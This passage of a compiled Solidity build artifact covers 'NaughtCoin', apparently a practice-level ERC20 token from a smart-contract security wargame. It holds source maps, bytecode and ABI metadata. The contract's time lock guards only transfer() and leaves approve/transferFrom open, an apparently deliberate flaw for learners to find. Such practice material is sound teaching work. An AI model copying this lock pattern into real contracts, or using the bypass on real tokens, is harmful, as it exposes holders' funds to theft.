668:6:95;;::::1;::::0;662:5:::1;:29::i;:::-;727:6;::::0;735:14:::1;::::0;706:44:::1;::::0;4945:25:155;;;-1:-1:-1;;;;;727:6:95;;::::1;::::0;::::1;::::0;-1:-1:-1;;;;;;;;;;;706:44:95;4933:2:155;4918:18;706:44:95::1;;;;;;;417:340:::0;116:1047;;8402:389:30;-1:-1:-1;;;;;8485:21:30;;8477:65;;;;-1:-1:-1;;;8477:65:30;;5183:2:155;8477:65:30;;;5165:21:155;5222:2;5202:18;;;5195:30;5261:33;5241:18;;;5234:61;5312:18;;8477:65:30;;;;;;;;8629:6;8613:12;;:22;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;8645:18:30;;:9;:18;;;;;;;;;;:28;;8667:6;;8645:9;:28;;8667:6;;8645:28;:::i;:::-;;;;-1:-1:-1;;8688:37:30;;4945:25:155;;;-1:-1:-1;;;;;8688:37:30;;;8705:1;;-1:-1:-1;;;;;;;;;;;8688:37:30;4933:2:155;4918:18;8688:37:30;;;;;;;8402:389;;:::o;11786:121::-;;;;:::o;14:127:155:-;75:10;70:3;66:20;63:1;56:31;106:4;103:1;96:15;130:4;127:1;120:15;146:125;211:9;;;232:10;;;229:36;;;245:18;;:::i;:::-;146:125;;;;:::o;276:290::-;346:6;399:2;387:9;378:7;374:23;370:32;367:52;;;415:1;412;405:12;367:52;441:16;;-1:-1:-1;;;;;486:31:155;;476:42;;466:70;;532:1;529;522:12;466:70;555:5;276:290;-1:-1:-1;;;276:290:155:o;571:127::-;632:10;627:3;623:20;620:1;613:31;663:4;660:1;653:15;687:4;684:1;677:15;703:380;782:1;778:12;;;;825;;;846:61;;900:4;892:6;888:17;878:27;;846:61;953:2;945:6;942:14;922:18;919:38;916:161;;999:10;994:3;990:20;987:1;980:31;1034:4;1031:1;1024:15;1062:4;1059:1;1052:15;916:161;;703:380;;;:::o;1214:518::-;1316:2;1311:3;1308:11;1305:421;;;1352:5;1349:1;1342:16;1396:4;1393:1;1383:18;1466:2;1454:10;1450:19;1447:1;1443:27;1437:4;1433:38;1502:4;1490:10;1487:20;1484:47;;;-1:-1:-1;1525:4:155;1484:47;1580:2;1575:3;1571:12;1568:1;1564:20;1558:4;1554:31;1544:41;;1635:81;1653:2;1646:5;1643:13;1635:81;;;1712:1;1698:16;;1679:1;1668:13;1635:81;;;1639:3;;1214:518;;;:::o;1908:1345::-;2028:10;;-1:-1:-1;;;;;2050:30:155;;2047:56;;;2083:18;;:::i;:::-;2112:97;2202:6;2162:38;2194:4;2188:11;2162:38;:::i;:::-;2156:4;2112:97;:::i;:::-;2264:4;;2321:2;2310:14;;2338:1;2333:663;;;;3040:1;3057:6;3054:89;;;-1:-1:-1;3109:19:155;;;3103:26;3054:89;-1:-1:-1;;1865:1:155;1861:11;;;1857:24;1853:29;1843:40;1889:1;1885:11;;;1840:57;3156:81;;2303:944;;2333:663;1161:1;1154:14;;;1198:4;1185:18;;-1:-1:-1;;2369:20:155;;;2487:236;2501:7;2498:1;2495:14;2487:236;;;2590:19;;;2584:26;2569:42;;2682:27;;;;2650:1;2638:14;;;;2517:19;;2487:236;;;2491:3;2751:6;2742:7;2739:19;2736:201;;;2812:19;;;2806:26;-1:-1:-1;;2895:1:155;2891:14;;;2907:3;2887:24;2883:37;2879:42;2864:58;2849:74;;2736:201;;;2983:1;2974:6;2971:1;2967:14;2963:22;2957:4;2950:36;2303:944;;;;;1908:1345;;:::o;3258:416::-;3347:1;3384:5;3347:1;3398:270;3419:7;3409:8;3406:21;3398:270;;;3478:4;3474:1;3470:6;3466:17;3460:4;3457:27;3454:53;;;3487:18;;:::i;:::-;3537:7;3527:8;3523:22;3520:55;;;3557:16;;;;3520:55;3636:22;;;;3596:15;;;;3398:270;;;3402:3;3258:416;;;;;:::o;3679:806::-;3728:5;3758:8;3748:80;;-1:-1:-1;3799:1:155;3813:5;;3748:80;3847:4;3837:76;;-1:-1:-1;3884:1:155;3898:5;;3837:76;3929:4;3947:1;3942:59;;;;4015:1;4010:130;;;;3922:218;;3942:59;3972:1;3963:10;;3986:5;;;4010:130;4047:3;4037:8;4034:17;4031:43;;;4054:18;;:::i;:::-;-1:-1:-1;;4110:1:155;4096:16;;4125:5;;3922:218;;4224:2;4214:8;4211:16;4205:3;4199:4;4196:13;4192:36;4186:2;4176:8;4173:16;4168:2;4162:4;4159:12;4155:35;4152:77;4149:159;;;-1:-1:-1;4261:19:155;;;4293:5;;4149:159;4340:34;4365:8;4359:4;4340:34;:::i;:::-;4410:6;4406:1;4402:6;4398:19;4389:7;4386:32;4383:58;;;4421:18;;:::i;:::-;4459:20;;3679:806;-1:-1:-1;;;3679:806:155:o;4490:131::-;4550:5;4579:36;4606:8;4600:4;4579:36;:::i;4626:168::-;4699:9;;;4730;;4747:15;;;4741:22;;4727:37;4717:71;;4768:18;;:::i;4981:355::-;116:1047:95;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b50600436106100e5575f3560e01c806348db5f8911610088578063a457c2d711610063578063a457c2d7146101d5578063a9059cbb146101e8578063d085835a146101fb578063dd62ed3e14610204575f80fd5b806348db5f891461017a57806370a08231146101a557806395d89b41146101cd575f80fd5b806323b872dd116100c357806323b872dd1461013c5780632ff2e9dc1461014f578063313ce567146101585780633950935114610167575f80fd5b806306fdde03146100e9578063095ea7b31461010757806318160ddd1461012a575b5f80fd5b6100f161023c565b6040516100fe919061084e565b60405180910390f35b61011a6101153660046108b5565b6102cc565b60405190151581526020016100fe565b6002545b6040519081526020016100fe565b61011a61014a3660046108dd565b6102e5565b61012e60065481565b604051601281526020016100fe565b61011a6101753660046108b5565b610308565b60075461018d906001600160a01b031681565b6040516001600160a01b0390911681526020016100fe565b61012e6101b3366004610916565b6001600160a01b03165f9081526020819052604090205490565b6100f1610346565b61011a6101e33660046108b5565b610355565b61011a6101f63660046108b5565b610403565b61012e60055481565b61012e610212366004610936565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b60606003805461024b90610967565b80601f016020809104026020016040519081016040528092919081815260200182805461027790610967565b80156102c25780601f10610299576101008083540402835291602001916102c2565b820191905f5260205f20905b8154815290600101906020018083116102a557829003601f168201915b5050505050905090565b5f336102d9818585610445565b60019150505b92915050565b5f336102f285828561059c565b6102fd85858561062c565b506001949350505050565b335f8181526001602090815260408083206001600160a01b03871684529091528120549091906102d9908290869061034190879061099f565b610445565b60606004805461024b90610967565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156103f65760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102fd8286868403610445565b6007545f906001600160a01b03163303610434576005544211610424575f80fd5b61042e8383610841565b506102df565b61043e8383610841565b5092915050565b6001600160a01b0383166104c05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b03821661053c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461062657818110156106195760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103ed565b6106268484848403610445565b50505050565b6001600160a01b0383166106a85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b0382166107245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b0383165f90815260208190526040902054818110156107b25760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906107e890849061099f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161083491815260200190565b60405180910390a3610626565b5f336102d981858561062c565b5f602080835283518060208501525f5b8181101561087a5785810183015185820160400152820161085e565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146108b0575f80fd5b919050565b5f80604083850312156108c6575f80fd5b6108cf8361089a565b946020939093013593505050565b5f805f606084860312156108ef575f80fd5b6108f88461089a565b92506109066020850161089a565b9150604084013590509250925092565b5f60208284031215610926575f80fd5b61092f8261089a565b9392505050565b5f8060408385031215610947575f80fd5b6109508361089a565b915061095e6020840161089a565b90509250929050565b600181811c9082168061097b57607f821691505b60208210810361099957634e487b7160e01b5f52602260045260245ffd5b50919050565b808201808211156102df57634e487b7160e01b5f52601160045260245ffdfea2646970667358221220ba781f5cd3cc8446ed1ba6a3609ba07d956fb73d3732c75c110c4cf6ad8ef9cf64736f6c63430008180033","sourceMap":"116:1047:95:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2156:98:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4433:197;;;;;;:::i;:::-;;:::i;:::-;;;1192:14:155;;1185:22;1167:41;;1155:2;1140:18;4433:197:30;1027:187:155;3244:106:30;3331:12;;3244:106;;;1365:25:155;;;1353:2;1338:18;3244:106:30;1219:177:155;5192:286:30;;;;;;:::i;:::-;;:::i;354:29:95:-;;;;;;3093:91:30;;;3175:2;1876:36:155;;1864:2;1849:18;3093:91:30;1734:184:155;5873:234:30;;;;;;:::i;:::-;;:::i;389:21:95:-;;;;;-1:-1:-1;;;;;389:21:95;;;;;;-1:-1:-1;;;;;2087:55:155;;;2069:74;;2057:2;2042:18;389:21:95;1923:226:155;3408:125:30;;;;;;:::i;:::-;-1:-1:-1;;;;;3508:18:30;3482:7;3508:18;;;;;;;;;;;;3408:125;2367:102;;;:::i;6594:427::-;;;;;;:::i;:::-;;:::i;763:133:95:-;;;;;;:::i;:::-;;:::i;291:57::-;;;;;;3976:149:30;;;;;;:::i;:::-;-1:-1:-1;;;;;4091:18:30;;;4065:7;4091:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3976:149;2156:98;2210:13;2242:5;2235:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2156:98;:::o;4433:197::-;4516:4;719:10:34;4570:32:30;719:10:34;4586:7:30;4595:6;4570:8;:32::i;:::-;4619:4;4612:11;;;4433:197;;;;;:::o;5192:286::-;5319:4;719:10:34;5375:38:30;5391:4;719:10:34;5406:6:30;5375:15;:38::i;:::-;5423:27;5433:4;5439:2;5443:6;5423:9;:27::i;:::-;-1:-1:-1;5467:4:30;;5192:286;-1:-1:-1;;;;5192:286:30:o;5873:234::-;719:10:34;5961:4:30;4091:18;;;:11;:18;;;;;;;;-1:-1:-1;;;;;4091:27:30;;;;;;;;;;5961:4;;719:10:34;6015:64:30;;719:10:34;;4091:27:30;;6040:38;;6068:10;;6040:38;:::i;:::-;6015:8;:64::i;2367:102::-;2423:13;2455:7;2448:14;;;;;:::i;6594:427::-;719:10:34;6687:4:30;4091:18;;;:11;:18;;;;;;;;-1:-1:-1;;;;;4091:27:30;;;;;;;;;;6687:4;;719:10:34;6831:15:30;6811:16;:35;;6803:85;;;;-1:-1:-1;;;6803:85:30;;3538:2:155;6803:85:30;;;3520:21:155;3577:2;3557:18;;;3550:30;3616:34;3596:18;;;3589:62;3687:7;3667:18;;;3660:35;3712:19;;6803:85:30;;;;;;;;;6922:60;6931:5;6938:7;6966:15;6947:16;:34;6922:8;:60::i;763:133:95:-;1040:6;;846:4;;-1:-1:-1;;;;;1040:6:95;1026:10;:20;1022:133;;1088:8;;1070:15;:26;1062:35;;;;;;862:27:::1;877:3;882:6;862:14;:27::i;:::-;;1022:133:::0;;;862:27:::1;877:3;882:6;862:14;:27::i;:::-;;763:133:::0;;;;:::o;10110:370:30:-;-1:-1:-1;;;;;10241:19:30;;10233:68;;;;-1:-1:-1;;;10233:68:30;;3944:2:155;10233:68:30;;;3926:21:155;3983:2;3963:18;;;3956:30;4022:34;4002:18;;;3995:62;4093:6;4073:18;;;4066:34;4117:19;;10233:68:30;3742:400:155;10233:68:30;-1:-1:-1;;;;;10319:21:30;;10311:68;;;;-1:-1:-1;;;10311:68:30;;4349:2:155;10311:68:30;;;4331:21:155;4388:2;4368:18;;;4361:30;4427:34;4407:18;;;4400:62;4498:4;4478:18;;;4471:32;4520:19;;10311:68:30;4147:398:155;10311:68:30;-1:-1:-1;;;;;10390:18:30;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10441:32;;1365:25:155;;;10441:32:30;;1338:18:155;10441:32:30;;;;;;;10110:370;;;:::o;10761:441::-;-1:-1:-1;;;;;4091:18:30;;;10891:24;4091:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;10957:37:30;;10953:243;;11038:6;11018:16;:26;;11010:68;;;;-1:-1:-1;;;11010:68:30;;4752:2:155;11010:68:30;;;4734:21:155;4791:2;4771:18;;;4764:30;4830:31;4810:18;;;4803:59;4879:18;;11010:68:30;4550:353:155;11010:68:30;11120:51;11129:5;11136:7;11164:6;11145:16;:25;11120:8;:51::i;:::-;10881:321;10761:441;;;:::o;7475:651::-;-1:-1:-1;;;;;7601:18:30;;7593:68;;;;-1:-1:-1;;;7593:68:30;;5110:2:155;7593:68:30;;;5092:21:155;5149:2;5129:18;;;5122:30;5188:34;5168:18;;;5161:62;5259:7;5239:18;;;5232:35;5284:19;;7593:68:30;4908:401:155;7593:68:30;-1:-1:-1;;;;;7679:16:30;;7671:64;;;;-1:-1:-1;;;7671:64:30;;5516:2:155;7671:64:30;;;5498:21:155;5555:2;5535:18;;;5528:30;5594:34;5574:18;;;5567:62;5665:5;5645:18;;;5638:33;5688:19;;7671:64:30;5314:399:155;7671:64:30;-1:-1:-1;;;;;7817:15:30;;7795:19;7817:15;;;;;;;;;;;7850:21;;;;7842:72;;;;-1:-1:-1;;;7842:72:30;;5920:2:155;7842:72:30;;;5902:21:155;5959:2;5939:18;;;5932:30;5998:34;5978:18;;;5971:62;6069:8;6049:18;;;6042:36;6095:19;;7842:72:30;5718:402:155;7842:72:30;-1:-1:-1;;;;;7948:15:30;;;:9;:15;;;;;;;;;;;7966:20;;;7948:38;;8006:13;;;;;;;;:23;;7980:6;;7948:9;8006:23;;7980:6;;8006:23;:::i;:::-;;;;;;;;8060:2;-1:-1:-1;;;;;8045:26:30;8054:4;-1:-1:-1;;;;;8045:26:30;;8064:6;8045:26;;;;1365:25:155;;1353:2;1338:18;;1219:177;8045:26:30;;;;;;;;8082:37;11786:121;3729:189;3808:4;719:10:34;3862:28:30;719:10:34;3879:2:30;3883:6;3862:9;:28::i;14:548:155:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:196::-;635:20;;-1:-1:-1;;;;;684:54:155;;674:65;;664:93;;753:1;750;743:12;664:93;567:196;;;:::o;768:254::-;836:6;844;897:2;885:9;876:7;872:23;868:32;865:52;;;913:1;910;903:12;865:52;936:29;955:9;936:29;:::i;:::-;926:39;1012:2;997:18;;;;984:32;;-1:-1:-1;;;768:254:155:o;1401:328::-;1478:6;1486;1494;1547:2;1535:9;1526:7;1522:23;1518:32;1515:52;;;1563:1;1560;1553:12;1515:52;1586:29;1605:9;1586:29;:::i;:::-;1576:39;;1634:38;1668:2;1657:9;1653:18;1634:38;:::i;:::-;1624:48;;1719:2;1708:9;1704:18;1691:32;1681:42;;1401:328;;;;;:::o;2154:186::-;2213:6;2266:2;2254:9;2245:7;2241:23;2237:32;2234:52;;;2282:1;2279;2272:12;2234:52;2305:29;2324:9;2305:29;:::i;:::-;2295:39;2154:186;-1:-1:-1;;;2154:186:155:o;2345:260::-;2413:6;2421;2474:2;2462:9;2453:7;2449:23;2445:32;2442:52;;;2490:1;2487;2480:12;2442:52;2513:29;2532:9;2513:29;:::i;:::-;2503:39;;2561:38;2595:2;2584:9;2580:18;2561:38;:::i;:::-;2551:48;;2345:260;;;;;:::o;2610:437::-;2689:1;2685:12;;;;2732;;;2753:61;;2807:4;2799:6;2795:17;2785:27;;2753:61;2860:2;2852:6;2849:14;2829:18;2826:38;2823:218;;-1:-1:-1;;;2894:1:155;2887:88;2998:4;2995:1;2988:15;3026:4;3023:1;3016:15;2823:218;;2610:437;;;:::o;3052:279::-;3117:9;;;3138:10;;;3135:190;;;-1:-1:-1;;;3178:1:155;3171:88;3282:4;3279:1;3272:15;3310:4;3307:1;3300:15","linkReferences":{}},"methodIdentifiers":{"INITIAL_SUPPLY()":"2ff2e9dc","allowance(address,address)":"dd62ed3e","approve(address,uint256)":"095ea7b3","balanceOf(address)":"70a08231","decimals()":"313ce567","decreaseAllowance(address,uint256)":"a457c2d7","increaseAllowance(address,uint256)":"39509351","name()":"06fdde03","player()":"48db5f89","symbol()":"95d89b41","timeLock()":"d085835a","totalSupply()":"18160ddd","transfer(address,uint256)":"a9059cbb","transferFrom(address,address,uint256)":"23b872dd"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Approval\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"INITIAL_SUPPLY\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"}],\"name\":\"allowance\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"decimals\",\"outputs\":[{\"internalType\":\"uint8\",\"name\":\"\",\"type\":\"uint8\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"subtractedValue\",\"type\":\"uint256\"}],\"name\":\"decreaseAllowance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"addedValue\",\"type\":\"uint256\"}],\"name\":\"increaseAllowance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"name\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"player\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"symbol\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"timeLock\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalSupply\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_value\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"events\":{\"Approval(address,address,uint256)\":{\"details\":\"Emitted when the allowance of a `spender` for an `owner` is set by a call to {approve}. `value` is the new allowance.\"},\"Transfer(address,address,uint256)\":{\"details\":\"Emitted when `value` tokens are moved from one account (`from`) to another (`to`). Note that `value` may be zero.\"}},\"kind\":\"dev\",\"methods\":{\"allowance(address,address)\":{\"details\":\"See {IERC20-allowance}.\"},\"approve(address,uint256)\":{\"details\":\"See {IERC20-approve}. NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on `transferFrom`. This is semantically equivalent to an infinite approval. Requirements: - `spender` cannot be the zero address.\"},\"balanceOf(address)\":{\"details\":\"See {IERC20-balanceOf}.\"},\"decimals()\":{\"details\":\"Returns the number of decimals used to get its user representation. For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5.05` (`505 / 10 ** 2`). Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value {ERC20} uses, unless this function is overridden; NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic of the contract, including {IERC20-balanceOf} and {IERC20-transfer}.\"},\"decreaseAllowance(address,uint256)\":{\"details\":\"Atomically decreases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address. - `spender` must have allowance for the caller of at least `subtractedValue`.\"},\"increaseAllowance(address,uint256)\":{\"details\":\"Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address.\"},\"name()\":{\"details\":\"Returns the name of the token.\"},\"symbol()\":{\"details\":\"Returns the symbol of the token, usually a shorter version of the name.\"},\"totalSupply()\":{\"details\":\"See {IERC20-totalSupply}.\"},\"transferFrom(address,address,uint256)\":{\"details\":\"See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. NOTE: Does not update the allowance if the current allowance is the maximum `uint256`. Requirements: - `from` and `to` cannot be the zero address. - `from` must have a balance of at least `amount`. - the caller must have allowance for ``from``'s tokens of at least `amount`.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/NaughtCoin.sol\":\"NaughtCoin\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol\":{\"keccak256\":\"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0\",\"dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/NaughtCoin.sol\":{\"keccak256\":\"0xcb5badafdda7964f7ecff734d7ea651955edd8ac972af60da00a333d93b90ee6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://c28431e7bf65eb7fd2c5f86912e2b1a8f5abe81ed9b89feb2d4c7d0f3c1c4862\",\"dweb:/ipfs/QmexLSfBVULBNSsMMNkZjpvFWj24ESns2L8Jcm7e6d1reF\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"owner","type":"address","indexed":true},{"internalType":"address","name":"spender","type":"address","indexed":true},{"internalType":"uint256","name":"value","type":"uint256","indexed":false}],"type":"event","name":"Approval","anonymous":false},{"inputs":[{"internalType":"address","name":"from","type":"address","indexed":true},{"internalType":"address","name":"to","type":"address","indexed":true},{"internalType":"uint256","name":"value","type":"uint256","indexed":false}],"type":"event","name":"Transfer","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"INITIAL_SUPPLY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"stateMutability":"view","type":"function","name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"stateMutability":"view","type":"function","name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}]},{"inputs":[{"